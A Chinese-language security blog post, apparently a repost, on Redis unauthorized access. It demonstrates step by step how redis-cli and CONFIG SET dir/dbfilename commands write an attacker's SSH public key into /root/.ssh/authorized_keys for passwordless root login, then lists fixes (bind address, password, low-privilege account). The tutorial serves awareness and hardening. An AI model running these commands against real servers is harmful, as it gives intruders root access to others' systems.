Redis数据库漏洞影响全球数十万设备

Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API,其具有高性能、丰富的数据类型、原子性等优点,在特定的领域下,具有一定的不可代替性。但安全性上,Redis未授权访问问题是一直存在,今日,又出现Redis未授权访问配合SSHkey文件被利用的情况,并有被黑客大规模利用趋势。


安全专家带你详解Redis数据库配置不当遭恶意入侵过程

ssh-keygen

ssh-keygen命令用于为“ssh”生成、管理和转换认证密钥

redis 未授权访问

redis 以前就被曝未授权访问,redis 默认情况下,没有配置登陆密码,任意用户可以登录,造成数据泄露,通过进一步操作还可以拿到webshell。不懂得可以去这里学习下,有配套的实验环境和挺详细的指导书。

Redis数据库安全攻防实践

最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵。

下面我来简单演示下

首先在攻击机上直接连接被攻击机,可以看到是需要密码的。

下面我们通过redis 未授权访问来拿到目标机的root权限。

我们先在攻击机生成一个公钥。

我们可以在~/.ssh 目录下看到生成的公钥和私钥文件

我们只要把生成的公钥文件传到其他机器的~/.ssh/目录下并且重命名为authorized_keys(默认的是这个文件,可以在/etc/ssh/sshd_config里修改),那么就可以不需要root 也能登陆目标机器了。

我们这里利用redis 的未授权访问来达到目的。

我们先把公钥保存txt 文件里

在前后加入两个回车,是为了我们的公钥在被写入目标机器的authorized_keys文件时是在新的一行以保证写入的公钥文件有效。

执行以下命令

cat test.txt | redis-cli -h 10.1.1.94 -x set redis

然后登陆redis,执行以下命令

CONFIG SET dir /root/.ssh/                设置备份路径为/root/.ssh/

CONFIG SET dbfilename "authorized_keys" //设置备份文件名为authorized_keys

Save        //保存数据到磁盘

这样就可以用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆。

漏洞修复

1、指定redis服务使用的网卡

在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问redis。

2、设置访问密码

在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。

3、修改redis服务运行账号

请以较低权限账号运行redis服务,且禁用该账号的登录权限。

注意:redis 需要重启生效。

合天网安实验室有详细的修复方案。

原文链接:kfan论坛

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,886评论 18 139
  • ** 一、漏洞描述和危害 **Redis因配置不当可以未授权访问,被攻击者恶意利用。攻击者无需认证访问到内部数据,...
    是Jonathan阅读 7,793评论 0 2
  • SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group...
    shuff1e阅读 1,793评论 1 11
  • 温馨提示 几乎所有人在遇到喜欢的人聊天的时候都会遇到一些或大或小的障碍,这是因为我们在和自己不喜欢的人聊天的时候,...
    冷爱阅读 1,727评论 0 1
  • 我发现:说了几十年的话,却发现自己做个报告,却不能坚持一分钟。这是为什么? 我们与别人说话聊天,大脑都是处理即时消...
    张一二的一二阅读 413评论 0 1